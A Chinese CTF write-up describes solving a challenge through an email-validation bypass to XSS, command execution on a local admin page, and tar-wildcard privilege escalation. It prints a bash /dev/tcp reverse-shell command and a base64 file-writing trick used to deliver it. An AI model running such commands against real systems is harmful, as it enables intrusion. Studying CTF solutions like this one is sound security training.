swpu ctf 有趣的邮箱注册 详细题解

阅读量    52101 | 评论 3   稿费 300

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

不得不说,swpu的师傅们出题还是很用心的,这道题目就很不错,既有前端xss,又有后端提权,可谓是非常全面了,下面我们就简单分析一下

题目地址为: http://118.89.56.208:6324

邮箱验证

首先打开题目,发现功能只有两个,一个是验证邮箱,另一个是管理后台,但是管理后台需要本地,那突破点就在邮箱验证了。

尝试提交邮箱,发现了代码泄露,给出了过滤方式:

于是开始尝试在email处尝试xss,经过google,发现了几种绕过,尝试了一下,发现只要使用"poc"@qq.com类似的方法,就可以绕过过滤,然后构造xss的payload如下:

可以收到请求.

 

攻击local web

既然有了xss,我们首先读一下admin页面源码:

js构造如下:

然后收到请求,解码如下:

在页面中,发现了疑似命令执行的页面,尝试构造请求:

很快收到了结果:

但是一直这么请求,执行命令很麻烦,不如反弹个shell

 

反弹shell

这里直接用命令弹shell是很难成功的,因为有多重编码要考虑,因此采用写sh文件,然后执行sh文件弹shell的办法:

首先使用的写文件的技巧就是,base64

echo 'bHM=' | base64 -d > /tmp/xjb.sh

这个办法能很好的绕过很多编码,同理我们只要将/bin/bash -i > /dev/tcp/ip/port 0<&1 2>&1编码一下,然后放到上面的命令中,就可以成功将反弹shell的命令写入到文件中。

然后执行:

/bin/bash /tmp/xjb.sh

就可以成功弹到shell。

 

flag读取不了?

我们查看了一下flag,发现我们并没有办法读取,没有权限,只有flag用户才能读。

继续翻发现了一个新目录:

进入以后,发现了一个新的web应用,看下权限:

只有backup.php 可以看,代码如下:

访问目录发现有上传和备份的功能,备份代码给出了。

 

分析思路

既然现在我们没有办法直接读取flag,那就只能让flag用户或者高权限用户帮我们读了,看了看这个tar命令,总觉得不对,在搜索中发现利用tar来提权执行脚本的操作,具体文章戳这里.

正如文章中讲到,使用tar命令可以配合执行自定义脚本,那这个看似没有可控点的命令执行,就变得可以利用了:

攻击思路整理如下:

 

制作上传恶意文件

使用文章中的命令,制作恶意文件名的文件:

其中1.sh 的内容是:

 

备份触发bash脚本,获取flag

只要访问backup.php ,即可成功触发漏洞,获取flag

 

后记

题目做完,思路可以总结为 bypass FILTER_VALIDATE_EMAIL然后xss,攻击只有本地才能访问的local web应用,从而拿到机器shell,然后继续攻击内网web题目,使用tar提权查看flag,确实学到了不少东西,如果有别的思路可以同样交流探讨。

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多